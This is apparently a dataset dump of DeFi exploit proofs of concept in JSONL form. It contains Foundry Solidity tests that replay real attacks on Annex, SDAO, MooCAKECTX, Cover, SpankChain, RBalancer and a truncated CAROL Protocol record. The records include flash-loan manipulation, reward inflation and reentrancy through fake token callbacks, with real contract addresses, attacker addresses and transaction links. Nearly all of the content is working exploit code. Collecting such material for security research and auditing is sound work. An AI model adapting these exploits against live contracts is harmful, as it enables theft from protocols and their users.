Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);\n IUniswapV2Factory Factory = IUniswapV2Factory(0xcA143Ce32Fe78f1f7019d7d551a6402fC5350c73);\n address Token;\n uint256 WBNBAmount;\n address Pair;\n address constant dodo = 0xFeAFe253802b77456B4627F8c2306a9CeBb5d681;\n address constant Liquidator = 0xe65E970F065643bA80E5822edfF483A1d75263E3;\n\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheats.createSelectFork(\"bsc\", 23_165_446);\n }\n\n function testExploit() public {\n MyERC20 MyToken = new MyERC20();\n Token = address(MyToken);\n MyToken.mint(10 * 1e18);\n DVM(dodo).flashLoan(8 * 1e18, 0, address(this), new bytes(1));\n\n emit log_named_decimal_uint(\"[End] Attacker WBNB balance after exploit\", WBNB.balanceOf(address(this)), 18);\n }\n\n function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {\n IERC20(Token).approve(address(Router), type(uint256).max);\n WBNB.approve(address(Router), type(uint256).max);\n Router.addLiquidity(\n address(Token), address(WBNB), 8 * 1e18, 8 * 1e18, 0, 0, address(this), block.timestamp + 60\n );\n Pair = Factory.getPair(Token, address(WBNB));\n WBNBAmount = WBNB.balanceOf(Liquidator);\n bytes memory data1 = abi.encode(address(this), address(this), address(this));\n if (Uni_Pair_V2(Pair).token0() == address(WBNB)) {\n Uni_Pair_V2(Pair).swap(WBNBAmount, 0, Liquidator, data1);\n } else {\n Uni_Pair_V2(Pair).swap(0, WBNBAmount, Liquidator, data1);\n }\n Uni_Pair_V2(Pair).approve(address(Router), type(uint256).max);\n Router.removeLiquidity(\n address(Token),\n address(WBNB),\n Uni_Pair_V2(Pair).balanceOf(address(this)),\n 0,\n 0,\n address(this),\n block.timestamp + 60\n );\n WBNB.transferFrom(Liquidator, address(this), WBNB.balanceOf(Liquidator));\n WBNB.transfer(dodo, 8 * 1e18);\n }\n\n function liquidateBorrow(\n address borrower,\n uint256 repayAmount,\n address cTokenCollateral\n ) external returns (uint256) {\n return 0;\n }\n\n function balanceOf(\n address account\n ) external returns (uint256) {\n return 0;\n }\n\n function redeem(\n uint256 redeemTokens\n ) external returns (uint256) {\n return 0;\n }\n}\n\ncontract MyERC20 {\n uint256 public totalSupply;\n mapping(address => uint256) public balanceOf;\n mapping(address => mapping(address => uint256)) public allowance;\n string public name = \"Shit Coin\";\n string public symbol = \"Shit\";\n uint8 public decimals = 18;\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n event Approval(address indexed owner, address indexed spender, uint256 value);\n\n function transfer(address recipient, uint256 amount) external returns (bool) {\n balanceOf[msg.sender] -= amount;\n balanceOf[recipient] += amount;\n emit Transfer(msg.sender, recipient, amount);\n return true;\n }\n\n function approve(address spender, uint256 amount) external returns (bool) {\n allowance[msg.sender][spender] = amount;\n emit Approval(msg.sender, spender, amount);\n return true;\n }\n\n function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) {\n allowance[sender][msg.sender] -= amount;\n balanceOf[sender] -= amount;\n balanceOf[recipient] += amount;\n emit Transfer(sender, recipient, amount);\n return true;\n }\n\n function mint(\n uint256 amount\n ) external {\n balanceOf[msg.sender] += amount;\n totalSupply += amount;\n emit Transfer(address(0), msg.sender, amount);\n }\n\n function burn(\n uint256 amount\n ) external {\n balanceOf[msg.sender] -= amount;\n totalSupply -= amount;\n emit Transfer(msg.sender, address(0), amount);\n }\n}\n", "type": "exploit_poc", "protocol": "Annex", "date": "2022-11", "file_name": "Annex_exp.sol", "attack_vector": "flash_loan", "content_hash": "41dace566c4fb2fb", "collected_at": "2026-01-07T10:59:16.535702", "_source": "postmortems", "chain": "bsc", "block_number": 23165446, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": true, "has_attack_vector": true, "severity": "medium", "severity_raw": null, "category": "flash-loan", "exploit_code": "function testExploit() public {\n MyERC20 MyToken = new MyERC20();\n Token = address(MyToken);\n MyToken.mint(10 * 1e18);\n DVM(dodo).flashLoan(8 * 1e18, 0, address(this), new bytes(1));\n\n emit log_named_decimal_uint(\"[End] Attacker WBNB balance after exploit\", WBNB.balanceOf(address(this)), 18);\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 5.27, "quality_estimate": "medium", "title": "Annex Exploit (2022-11)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @Analysis\n// https://twitter.com/8olidity/status/1594693686398316544\n// https://twitter.com/CertiKAlert/status/1594615286556393478\n// @TX\n// https://bscscan.com/tx/0xb3ac111d294ea9dedfd99349304a9606df0b572d05da8cedf47ba169d10791ed\n\ninterface sDAO is IERC20 {\n function stakeLP(\n uint256 _lpAmount\n ) external;\n function withdrawTeam(\n address _token\n ) external;\n function getPerTokenReward() external view returns (uint256);\n function userLPStakeAmount(\n address account\n ) external view returns (uint256);\n function userRewardPerTokenPaid(\n address account\n ) external view returns (uint256);\n function totalStakeReward() external view returns (uint256);\n function lastTotalStakeReward() external view returns (uint256);\n function pendingToken(\n address account\n ) external view returns (uint256);\n function getReward() external;\n}\n\ncontract ContractTest is Test {\n IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);\n sDAO SDAO = sDAO(0x6666625Ab26131B490E7015333F97306F05Bf816);\n Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);\n Uni_Pair_V2 Pair = Uni_Pair_V2(0x333896437125fF680f146f18c8A164Be831C4C71);\n address dodo = 0x26d0c625e5F5D6de034495fbDe1F6e9377185618;\n\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheats.createSelectFork(\"bsc\", 23_241_440);\n }\n\n function testExploit() public {\n USDT.approve(address(Router), type(uint256).max);\n SDAO.approve(address(Router), type(uint256).max);\n Pair.approve(address(Router), type(uint256).max);\n Pair.approve(address(SDAO), type(uint256).max);\n SDAO.approve(address(this), type(uint256).max);\n DVM(dodo).flashLoan(0, 500 * 1e18, address(this), new bytes(1));\n\n emit log_named_decimal_uint(\"[End] Attacker USDT balance after exploit\", USDT.balanceOf(address(this)), 18);\n }\n\n function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {\n USDTToSDAO();\n addUSDTsDAOLiquidity();\n SDAO.stakeLP(Pair.balanceOf(address(this)) / 2);\n // SDAO.transfer(address(Pair), SDAO.balanceOf(address(this)));\n SDAO.transferFrom(address(this), address(Pair), SDAO.balanceOf(address(this))); // change totalStakeReward > lastTotalStakeReward\n SDAO.withdrawTeam(address(Pair));\n Pair.transfer(address(SDAO), 13 * 1e15);\n // uint total = SDAO.totalStakeReward();\n // uint lasttotal =SDAO.lastTotalStakeReward();\n // uint stake = SDAO.userLPStakeAmount(address(this));\n // uint paid = SDAO.userRewardPerTokenPaid(address(this));\n // uint reward = SDAO.getPerTokenReward();\n // uint pending = SDAO.pendingToken(address(this));\n SDAO.getReward();\n SDAOToUSDT();\n USDT.transfer(dodo, 500 * 1e18);\n }\n\n function USDTToSDAO() internal {\n address[] memory path = new address[](2);\n path[0] = address(USDT);\n path[1] = address(SDAO);\n Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n 250 * 1e18, 0, path, address(this), block.timestamp + 60\n );\n }\n\n function addUSDTsDAOLiquidity() internal {\n Router.addLiquidity(\n address(USDT),\n address(SDAO),\n USDT.balanceOf(address(this)),\n SDAO.balanceOf(address(this)) / 2,\n 0,\n 0,\n address(this),\n block.timestamp + 60\n );\n }\n\n function SDAOToUSDT() internal {\n address[] memory path = new address[](2);\n path[0] = address(SDAO);\n path[1] = address(USDT);\n Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n SDAO.balanceOf(address(this)), 0, path, address(this), block.timestamp + 60\n );\n }\n}\n", "type": "exploit_poc", "protocol": "SDAO", "date": "2022-11", "file_name": "SDAO_exp.sol", "attack_vector": "flash_loan", "content_hash": "8831835584fc9151", "collected_at": "2026-01-07T10:59:16.535751", "_source": "postmortems", "chain": "bsc", "block_number": 23241440, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": true, "has_attack_vector": true, "severity": "medium", "severity_raw": null, "category": "flash-loan", "exploit_code": "function testExploit() public {\n USDT.approve(address(Router), type(uint256).max);\n SDAO.approve(address(Router), type(uint256).max);\n Pair.approve(address(Router), type(uint256).max);\n Pair.approve(address(SDAO), type(uint256).max);\n SDAO.approve(address(this), type(uint256).max);\n DVM(dodo).flashLoan(0, 500 * 1e18, address(this), new bytes(1));\n\n emit log_named_decimal_uint(\"[End] Attacker USDT balance after exploit\", USDT.balanceOf(address(this)), 18);\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 5.03, "quality_estimate": "medium", "title": "SDAO Exploit (2022-11)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity 0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @Analysis\n// https://twitter.com/BeosinAlert/status/1589501207181393920\n// https://twitter.com/CertiKAlert/status/1589428153591615488\n// TX\n// https://bscscan.com/tx/0x03d363462519029cf9a544d44046cad0c7e64c5fb1f2adf5dd5438a9a0d2ec8e\n\ninterface VBUSD {\n function mint(\n uint256 mintAmount\n ) external;\n function redeemUnderlying(\n uint256 redeemAmount\n ) external;\n}\n\ninterface VCAKE {\n function borrow(\n uint256 borrowAmount\n ) external;\n function repayBorrow(\n uint256 repayAmount\n ) external;\n}\n\ninterface BeefyVault {\n function depositAll() external;\n function withdrawAll() external;\n}\n\ninterface StrategySyrup {\n function harvest() external;\n}\n\ncontract Harvest {\n constructor() {\n StrategySyrup strategySyrup = StrategySyrup(0xC2562DD7E4CAeE53DF0f9cD7d4dDDAa53bcD3D9b);\n strategySyrup.harvest();\n }\n}\n\ninterface Unitroller {\n function getAccountLiquidity(\n address account\n ) external returns (uint256, uint256, uint256);\n function enterMarkets(\n address[] calldata vTokens\n ) external;\n}\n\ncontract ContractTest is Test {\n IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);\n IERC20 CTK = IERC20(0xA8c2B8eec3d368C0253ad3dae65a5F2BBB89c929);\n IERC20 BUSD = IERC20(0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56);\n IERC20 CAKE = IERC20(0x0E09FaBB73Bd3Ade0a17ECC321fD13a19e81cE82);\n VBUSD vBUSD = VBUSD(0x95c78222B3D6e262426483D42CfA53685A67Ab9D);\n VCAKE vCAKE = VCAKE(0x86aC3974e2BD0d60825230fa6F355fF11409df5c);\n Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);\n Unitroller unitroller = Unitroller(0xfD36E2c2a6789Db23113685031d7F16329158384);\n BeefyVault beefyVault = BeefyVault(0x489afbAED0Ea796712c9A6d366C16CA3876D8184);\n address constant dodo = 0x0fe261aeE0d1C4DFdDee4102E82Dd425999065F4;\n address constant SmartChef = 0xF35d63Df93f32e025bce4A1B98dcEC1fe07AD892;\n\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n // the ankr rpc maybe dont work , please use QuickNode\n cheats.createSelectFork(\"bsc\", 22_832_427);\n }\n\n function testExploit() public {\n address(WBNB).call{value: 3 ether}(\"\");\n WBNBToCTK();\n CTK.transfer(address(SmartChef), CTK.balanceOf(address(this)));\n DVM(dodo).flashLoan(0, 400_000 * 1e18, address(this), new bytes(1));\n\n emit log_named_decimal_uint(\"[End] Attacker CAKE balance after exploit\", CAKE.balanceOf(address(this)), 18);\n }\n\n function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {\n address[] memory cTokens = new address[](2);\n cTokens[0] = address(vBUSD);\n cTokens[1] = address(vCAKE);\n unitroller.enterMarkets(cTokens);\n BUSD.approve(address(vBUSD), type(uint256).max);\n vBUSD.mint(BUSD.balanceOf(address(this)));\n vCAKE.borrow(50_000 * 1e18);\n CAKE.approve(address(beefyVault), type(uint256).max);\n beefyVault.depositAll();\n // Removing this step, the profit seem to be higher \ud83d\ude02\n // because the harveset() funciton will swap some CAKE to WBNB\n Harvest harvest = new Harvest();\n beefyVault.withdrawAll();\n CAKE.approve(address(vCAKE), type(uint256).max);\n vCAKE.repayBorrow(50_000 * 1e18);\n vBUSD.redeemUnderlying(400_000 * 1e18);\n BUSD.transfer(dodo, 400_000 * 1e18);\n }\n\n function WBNBToCTK() internal {\n WBNB.approve(address(Router), type(uint256).max);\n address[] memory path = new address[](2);\n path[0] = address(WBNB);\n path[1] = address(CTK);\n Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n WBNB.balanceOf(address(this)), 0, path, address(this), block.timestamp\n );\n }\n}\n", "type": "exploit_poc", "protocol": "MooCAKECTX", "date": "2022-11", "file_name": "MooCAKECTX_exp.sol", "attack_vector": "flash_loan", "content_hash": "967f9fbbd69d4b99", "collected_at": "2026-01-07T10:59:16.535812", "_source": "postmortems", "chain": "bsc", "block_number": 22832427, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": true, "has_attack_vector": true, "severity": "medium", "severity_raw": null, "category": "flash-loan", "exploit_code": "function testExploit() public {\n address(WBNB).call{value: 3 ether}(\"\");\n WBNBToCTK();\n CTK.transfer(address(SmartChef), CTK.balanceOf(address(this)));\n DVM(dodo).flashLoan(0, 400_000 * 1e18, address(this), new bytes(1));\n\n emit log_named_decimal_uint(\"[End] Attacker CAKE balance after exploit\", CAKE.balanceOf(address(this)), 18);\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 5.0, "quality_estimate": "medium", "title": "MooCAKECTX Exploit (2022-11)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity 0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\ninterface Blacksmith {\n function claimRewardsForPools(\n address[] calldata _lpTokens\n ) external;\n\n function claimRewards(\n address _lpToken\n ) external;\n\n function deposit(address _lpToken, uint256 _amount) external;\n\n function withdraw(address _lpToken, uint256 _amount) external;\n}\n\ncontract ContractTest is Test {\n CheatCodes cheat = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n Blacksmith public bs = Blacksmith(0xE0B94a7BB45dD905c79bB1992C9879f40F1CAeD5);\n\n IERC20 public bpt = IERC20(0x59686E01Aa841f622a43688153062C2f24F8fDed);\n\n IERC20 public Cover = IERC20(0x5D8d9F5b96f4438195BE9b99eee6118Ed4304286);\n\n function setUp() public {\n cheat.createSelectFork(\"mainnet\", 11_542_309); // fork mainnet at block 11542309\n }\n\n function test() public {\n cheat.prank(0x00007569643bc1709561ec2E86F385Df3759e5DD);\n bs.deposit(address(bpt), 15_255_552_810_089_260_015_361);\n emit log_named_uint(\"Deposit BPT\", 15_255_552_810_089_260_015_361);\n cheat.prank(0x00007569643bc1709561ec2E86F385Df3759e5DD);\n //bs.withdraw(address(bpt),12345678);\n bs.claimRewards(address(bpt));\n emit log_named_uint(\n \"After claimRewards, Cover Balance\", Cover.balanceOf(0x00007569643bc1709561ec2E86F385Df3759e5DD)\n );\n }\n}\n", "type": "exploit_poc", "protocol": "Cover", "date": "2020-12", "file_name": "Cover_exp.sol", "attack_vector": null, "content_hash": "d7498517d839053f", "collected_at": "2026-01-07T10:59:16.535873", "_source": "postmortems", "chain": "unknown", "block_number": 11542309, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": false, "has_attack_vector": false, "severity": "medium", "severity_raw": null, "category": "unknown", "exploit_code": "function test() public {\n cheat.prank(0x00007569643bc1709561ec2E86F385Df3759e5DD);\n bs.deposit(address(bpt), 15_255_552_810_089_260_015_361);\n emit log_named_uint(\"Deposit BPT\", 15_255_552_810_089_260_015_361);\n cheat.prank(0x00007569643bc1709561ec2E86F385Df3759e5DD);\n //bs.withdraw(address(bpt),12345678);\n bs.claimRewards(address(bpt));\n emit log_named_uint(\n \"After claimRewards, Cover Balance\", Cover.balanceOf(0x00007569643bc1709561ec2E86F385Df3759e5DD)\n );\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 2.73, "quality_estimate": "low", "title": "Cover Exploit (2020-12)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.15;\n\nimport \"../basetest.sol\";\n\n// @KeyInfo - Total Lost : 155 $ETH\n// Attacker : https://etherscan.io/address/0xcf267eA3f1ebae3C29feA0A3253F94F3122C2199\n// Attack Contract : https://etherscan.io/address/0xc5918a927C4FB83FE99E30d6F66707F4b396900E\n// Vulnerable Contract : https://etherscan.io/address/0xf91546835f756DA0c10cFa0CDA95b15577b84aA7\n// Attack Tx : https://etherscan.io/tx/0x21e9d20b57f6ae60dac23466c8395d47f42dc24628e5a31f224567a2b4effa88\n\n// @Info\n// Vulnerable Contract Code : https://etherscan.io/address/0xf91546835f756DA0c10cFa0CDA95b15577b84aA7#code\n\n// @Analysis\n// Post-mortem :\n// Twitter Guy :\n// Hacking God :\npragma solidity ^0.8.0;\n\ninterface ISpankChain {\n function createChannel(\n bytes32 _lcID,\n address _partyI,\n uint256 _confirmTime,\n address _token,\n uint256[2] memory _balances // [eth, token]\n ) external payable;\n function LCOpenTimeout(\n bytes32 _lcID\n ) external;\n\n event DidLCOpen(\n bytes32 indexed channelId,\n address indexed partyA,\n address indexed partyI,\n uint256 ethBalanceA,\n address token,\n uint256 tokenBalanceA,\n uint256 LCopenTimeout\n );\n}\n\ncontract SpankChainExploit is BaseTestWithBalanceLog {\n uint256 blocknumToForkFrom = 6_467_248 - 1;\n\n function setUp() public {\n vm.createSelectFork(\"mainnet\", blocknumToForkFrom);\n //Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit\n fundingToken = address(0);\n }\n\n function testExploit() public balanceLog {\n //implement exploit code here\n vm.deal(address(this), 5 ether); //simulation flashloan\n SpankChainExploitHelper h = new SpankChainExploitHelper();\n h.exploit{value: 5 ether}(32);\n payable(address(0x0)).transfer(5 ether); //simulation replay flashloan\n }\n\n fallback() external payable {}\n}\n\ncontract SpankChainExploitHelper {\n ISpankChain spankChain = ISpankChain(0xf91546835f756DA0c10cFa0CDA95b15577b84aA7);\n uint256 limit;\n uint256 count = 1;\n\n function exploit(\n uint256 c\n ) public payable {\n limit = c;\n uint256[2] memory balances;\n balances[0] = 5_000_000_000_000_000_000;\n balances[1] = 1;\n spankChain.createChannel{value: 5 ether}(\n hex\"4e03657aea45a94fc7d47ba826c8d667c0d1e6e33a64a036ec44f58fa12d6c45\",\n msg.sender,\n type(uint256).max - block.timestamp + 1,\n address(this),\n balances\n );\n spankChain.LCOpenTimeout(hex\"4e03657aea45a94fc7d47ba826c8d667c0d1e6e33a64a036ec44f58fa12d6c45\");\n payable(msg.sender).transfer(address(this).balance);\n }\n\n function transfer(address recipient, uint256 amount) public returns (bool) {\n if (count < limit) {\n count = count + 1;\n spankChain.LCOpenTimeout(hex\"4e03657aea45a94fc7d47ba826c8d667c0d1e6e33a64a036ec44f58fa12d6c45\");\n }\n return true;\n }\n\n function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {\n return true;\n }\n\n fallback() external payable {}\n}\n", "type": "exploit_poc", "protocol": "SpankChain", "date": "2018-10", "file_name": "SpankChain_exp.sol", "attack_vector": "flash_loan", "content_hash": "e6e79f1d9dbbbc99", "collected_at": "2026-01-07T10:59:16.535912", "_source": "postmortems", "chain": "ethereum", "block_number": null, "total_lost_raw": "155 $ETH", "total_lost_usd": 155.0, "attacker_address": "https://etherscan.io/address/0xcf267eA3f1ebae3C29feA0A3253F94F3122C2199", "attack_contract": "https://etherscan.io/address/0xc5918a927C4FB83FE99E30d6F66707F4b396900E", "vulnerable_contract": "https://etherscan.io/address/0xf91546835f756DA0c10cFa0CDA95b15577b84aA7", "attack_tx": "https://etherscan.io/tx/0x21e9d20b57f6ae60dac23466c8395d47f42dc24628e5a31f224567a2b4effa88", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "low", "severity_raw": "155 $ETH", "category": "flash-loan", "exploit_code": "function testExploit() public balanceLog {\n //implement exploit code here\n vm.deal(address(this), 5 ether); //simulation flashloan\n SpankChainExploitHelper h = new SpankChainExploitHelper();\n h.exploit{value: 5 ether}(32);\n payable(address(0x0)).transfer(5 ether); //simulation replay flashloan\n }\n\n fallback() external payable {}\n}\n\ncontract SpankChainExploitHelper {\n ISpankChain spankChain = ISpankChain(0xf91546835f756DA0c10cFa0CDA95b15577b84aA7);\n uint256 limit;\n uint256 count = 1;", "has_exploit_code": true, "keyinfo_total_lost": "155 $ETH", "keyinfo_attacker": "https://etherscan.io/address/0xcf267eA3f1ebae3C29feA0A3253F94F3122C2199", "keyinfo_attack_contract": "https://etherscan.io/address/0xc5918a927C4FB83FE99E30d6F66707F4b396900E", "keyinfo_vulnerable_contract": "https://etherscan.io/address/0xf91546835f756DA0c10cFa0CDA95b15577b84aA7", "keyinfo_attack_tx": "https://etherscan.io/tx/0x21e9d20b57f6ae60dac23466c8395d47f42dc24628e5a31f224567a2b4effa88", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$155", "content_richness_score": 8.63, "quality_estimate": "high", "title": "SpankChain Exploit (2018-10)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo -- Total Lost : ~17 ETH\n// TX : https://app.blocksec.com/explorer/tx/eth/0xbf5b2d22fa88965ddfc6e6d685fc7cfc683340c49e126386759ed9e4027b1415\n// Attacker : https://etherscan.io/address/0x9abe851bcc4fd1986c3d1ef8978fad86a26a0c57\n// Attack Contract : https://etherscan.io/address/0x9c52c485edd3d22847a1614b8988fbf520b33047\n// GUY : https://x.com/AnciliaInc/status/1722121056083943909\n\ncontract ContractTest is Test {\n WETH9 private constant WETH = WETH9(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);\n IERC20 Stone = IERC20(0x7122985656e38BDC0302Db86685bb972b145bD3C);\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n address Vulncontract = 0xA62F9C5af106FeEE069F38dE51098D9d81B90572;\n\n function setUp() public {\n vm.createSelectFork(\"mainnet\", 18_523_440);\n }\n\n function testExpolit() public {\n emit log_named_decimal_uint(\n \"attacker WETH balance before attack\", WETH.balanceOf(address(this)), WETH.decimals()\n );\n emit log_named_decimal_uint(\"attacker balance before attack\", address(this).balance, 18);\n\n attack();\n\n emit log_named_decimal_uint(\n \"attacker WETH balance after attack\", WETH.balanceOf(address(this)), WETH.decimals()\n );\n emit log_named_decimal_uint(\"attacker balance after attack\", address(this).balance, 18);\n }\n\n function attack() public {\n address(Vulncontract).call{value: 8600 ether}(abi.encodeWithSelector(bytes4(0xd0e30db0)));\n\n address(Vulncontract).call(abi.encodeWithSelector(bytes4(0x5069fb57)));\n\n Stone.approve(address(Vulncontract), type(uint256).max);\n\n address(Vulncontract).call(abi.encodeWithSelector(bytes4(0xb18f2e91), 0, 8_582_162_020_025_013_545_654));\n }\n\n fallback() external payable {}\n}\n", "type": "exploit_poc", "protocol": "RBalancer", "date": "2023-11", "file_name": "RBalancer_exp.sol", "attack_vector": null, "content_hash": "7869e9018e8c406b", "collected_at": "2026-01-07T10:59:16.535961", "_source": "postmortems", "chain": "ethereum", "block_number": 18523440, "total_lost_raw": "~17 ETH", "total_lost_usd": 17.0, "attacker_address": "https://etherscan.io/address/0x9abe851bcc4fd1986c3d1ef8978fad86a26a0c57", "attack_contract": "https://etherscan.io/address/0x9c52c485edd3d22847a1614b8988fbf520b33047", "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": false, "has_attack_vector": false, "severity": "low", "severity_raw": "~17 ETH", "category": "unknown", "exploit_code": "function testExpolit() public {\n emit log_named_decimal_uint(\n \"attacker WETH balance before attack\", WETH.balanceOf(address(this)), WETH.decimals()\n );\n emit log_named_decimal_uint(\"attacker balance before attack\", address(this).balance, 18);\n\n attack();\n\n emit log_named_decimal_uint(\n \"attacker WETH balance after attack\", WETH.balanceOf(address(this)), WETH.decimals()\n );\n emit log_named_decimal_uint(\"attacker balance after attack\", address(this).balance, 18);\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "https://etherscan.io/address/0x9abe851bcc4fd1986c3d1ef8978fad86a26a0c57", "keyinfo_attack_contract": "https://etherscan.io/address/0x9c52c485edd3d22847a1614b8988fbf520b33047", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$17", "content_richness_score": 4.97, "quality_estimate": "low", "title": "RBalancer Exploit (2023-11)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity 0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~$53K\n// Attacker : https://basescan.org/address/0x5aa27d556f898846b9bad32f0cdba5b1f8bc3144\n// Attack Contract : https://basescan.org/address/0xc4566ae957ad8dde4768bdd28cdc3695e4780b2c\n// Vulnerable Contract : https://basescan.org/address/0x26fe408bbd7a490feb056da8e2d1e007938e5685\n// Prepare Tx : https://app.blocksec.com/explorer/tx/base/0x6462f5e358eb2c7769e6aa59ce43277be4799b297bc4c9503610443b9d56cc24\n// Attack Tx : https://app.blocksec.com/explorer/tx/base/0xd962d397a7f8b3aadce1622e705b9e33b430e86e0d306d6fb8ccbc5957b4185c\n\n// @Info\n// Vulnerable Contract Code : https://basescan.org/address/0x26fe408bbd7a490feb056da8e2d1e007938e5685#code\n\n// @Analysis\n// Post-mortem :\n// Twitter Guy : https://x.com/MetaSec_xyz/status/1730496513359647167\n// Hacking God :\n\ninterface ICAROLProtocol {\n function buy(address upline, uint8 bondType) external payable;\n\n function sell(\n uint256 tokensAmount\n ) external;\n\n function stake(\n uint8 bondIdx\n ) external payable;\n\n function bonds(\n address,\n uint8\n )\n external\n view\n returns (\n uint256 amount,\n uint256 creationTime,\n uint256 freezePeriod,\n uint256 profitPercent,\n uint256 stakeAmount,\n uint256 stakeTime,\n uint256 collectedTime,\n uint256 collectedReward,\n uint256 stakingRewardLimit,\n bool isClosed\n );\n\n function userBalance(\n address userAddress\n ) external view returns (uint256 balance);\n}\n\ninterface IKokonut {\n function flashLoan(address borrower, uint256[] memory amounts, bytes memory data) external;\n}\n\ninterface ISynapseETHPools {\n function flashLoan(address receiver, address token, uint256 amount, bytes memory params) external;\n}\n\ncontract ContractTest is Test {\n ICAROLProtocol private constant CAROLProtocol = ICAROLProtocol(0x26fe408BbD7A490fEB056DA8e2D1e007938E5685);\n IWETH private constant WETH = IWETH(payable(0x4200000000000000000000000000000000000006));\n ISynapseETHPools private constant SynapseETHPools = ISynapseETHPools(0x6223bD82010E2fB69F329933De20897e7a4C225f);\n IBalancerVault private constant BalancerVault = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);\n IKokonut private constant Kokonut = IKokonut(0x73c3A78E5FF0d216a50b11D51B262ca839FCfe17);\n Uni_Pair_V3 private constant WETH_USDbCV3 = Uni_Pair_V3(0x4C36388bE6F416A29C8d8Eee81C771cE6bE14B18);\n Uni_Pair_V2 private constant WETH_USDbCV2 = Uni_Pair_V2(0xB4885Bc63399BF5518b994c1d0C153334Ee579D0);\n Uni_Router_V2 private constant Router = Uni_Router_V2(0x327Df1E6de05895d2ab08513aaDD9313Fe505d86);\n 